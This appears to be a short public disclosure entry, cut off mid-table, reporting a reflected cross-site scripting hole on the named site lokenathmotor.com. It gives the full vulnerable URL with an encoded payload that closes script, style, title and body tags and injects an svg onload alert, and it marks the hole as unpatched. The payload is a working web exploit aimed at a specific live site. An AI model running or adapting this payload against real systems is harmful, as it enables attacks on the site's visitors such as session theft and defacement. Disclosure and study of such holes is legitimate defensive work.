lokenathmotor.com XSS vulnerability

Vulnerable URL: http://lokenathmotor.com/index.php?serr=%27%7D%7D;%22%3E%7D;%7D;%7D--%3E%3C/SCRIPT%3E-%3C/style%3E-%3C/title%3E-%3C/BoDy%3E-%3Cmarquee%3E-%3Ch1%3EOmniGooch%3C/h1%3E-%3C/marquee%3E-%3Csvg/onload=alert%27XSSPOSED%27;%3E;%7B%7B%27 Details: Description| Value ---|--- Patched:| No Late...